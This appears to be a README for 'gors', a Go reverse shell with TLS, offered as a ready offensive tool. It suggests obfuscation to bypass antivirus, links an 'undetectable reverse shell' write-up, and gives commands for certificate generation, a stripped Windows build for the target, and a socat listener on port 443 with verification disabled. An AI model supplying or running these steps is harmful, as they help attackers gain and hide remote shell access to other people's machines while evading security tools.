gors

portable go based secure reverse shell (self-contained executable)

Features

• Interactive shell (use "gorss-interactive.go")
• TLS connectivity

Why Go?

• https://medium.com/@sathish__kumar/undetectable-reverse-shell-with-golang-4fd4b1e172c1
• https://github.com/sathish09/rev2go

AV bypass

Consider leveraging..

• https://github.com/unixpickle/gobfuscate

Setup

Generate server certificate or disable client validation (yahoo! pew pew pew!)

openssl genrsa -out server.key 2048 
openssl ecparam -genkey -name secp384r1 -out server.key
openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650

Update:

• Configure your listener domain/ip:port
• Configure SSL certificate public key or disable client validation
• gorss-interactive.go: Update script to use "/bin/bash", "/bin/sh", "cmd.exe", etc

Build for target platform

Windows:

env GOOS=windows GOARCH=386 go build -ldflags "-s -w" -o gors.exe gors.go

Use build reference table for specific target architecture.

• https://github.com/sathish09/rev2go#build

Listener

socat openssl-listen:443,reuseaddr,fork,cert=/tmp/gors/server.pem,cafile=/tmp/gors/server.crt,verify=0 -

Enjoy~